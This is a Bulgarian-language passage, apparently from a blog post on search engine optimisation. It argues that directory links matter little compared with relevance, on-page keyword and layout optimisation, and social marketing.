Но въпреки това, тези фактори са второстепенни. Зад самата концепния на Google и неговите конкуренти, стои т. нар. relevancy. Или на български - сродността. Когато потребителят напише няколко думи в търсачката, тя се стреми най-напред да му покаже страниците, които са в най-висока степен сродни до тези думи. В буквален текст казано, никой не го интересува колко ти е PR или колко линка имаш, важното е да си в контекста на търсенето. Е, директориите, пък, не са! Затова техните линкове не се отнасят към сродните и една хипервръзка от такъв сайт по никакъв начин няма да подскаже на чичо Гугъл, че твоята страница се отнася именно затова, освен чрез думите, които са вързани (т. нар "anchor text"). Те са от първостепенна важност (дори според това, което се каза на последната конференция Search Egine Strategies 2007 в Мюнхен), но те не правят автоматично този линк 'related' към вашата кампания. Единственото, за което директориите реално помагат, е по-бързото и обстойно индексиране от търсачките, плюс да подскажат, че този сайт е голям и събира линкове. И когато това е готово, вече се захващат стабилни позиции в търсачките... но нищо повече.
Да, реално това е най-маловажната работа на едно SEO. Да събереш бройка линкове е елементарно. Те могат да бъдат и от PR8 и от PR1 сайтове, но те ще имат абсолютно същтото влияние върху индекса, ако не са качествени. Повечето директории рано или късно отнасят наказание за спам и не след дълго Гугъл спира да отчита връзките от тях и до тук беше с ефективността на нашата работа.
Към какво да се насочим тогава? Ами към истинския маркетинг. Не случайно това се казва "оптимизация", а не "лов на линкове". Ние трябва да оптимизираме страниците на сайта така, че всяка една от тях да бъде целеустремена и да е лесно дори и за автоматизиран алгоритъм да разбере за какво точно се отнася тя. След като той е разбрал, значи и потребителите ще разберат. Това включва точния подбор на ключовите думи и прецизното им поставяне из страницата. Също така трябва да се оптимизира и самият изглед на страницата. Много е важно какво се случва след като търсещият попадне на страницата. Той трябва моментално да открие елемента, който е търсил (което е детска игра, която всяка страница е оптимизрана за конкретно нещо, защото тогава обикновено важният елемент е един и той заема ОГРОМНО пространство от нея). След като го открие, трябва страницата да има такава структура, че той без да се замисли да кликне още веднъж върху него, така че да отиде на подробното описание, където ще бъде заинтригуван от качеството и полезността на услугата. В този момент вече нашата мисия е изпълнена. Сайтът най-накрая изпълнява функцията си до реклама, която вече е достигнала до потребителя, грабнала е вниманието му и той проема търговското послание, докато преди броени секунди той просто е пишел думи в търсачките.
Звучи гениално и просто, но дали е така напрактика? Би трябвало, но съм забелязал, че болшинството клиенти отдават прекалено много внимание и време на второстепенните фактори и изграждат неефективни кампании посредством грешни стратегии. Това, към което оптимизацията се стреми, е създаването на ефективен маркетингов продукт, който грабва потребителя и е готов да продава, а линковете с директории по никакъв начин не го гарантират. Тяхното време мина отдавна, сега е времето на social marketing-а, където целта е продукта буквално да се навре в ръцете на потребителите и да се остави на тях той да бъде промотиран измежду тяхната група. По-този начин се генерират много по-качествени линкове и се стига директно до потенциалните клиенти и купувачи. А когато това се случи в по-обширна трибуна, броят на получените входящите връзки е много по-голям от този, който някой автоматизиран скрипт за дупчене на форуми и директории може да донесе. Това е ефективното и гениалното в тази професия, това струва парите и времето си и ние , като специалисти, към това трябва да се стремим.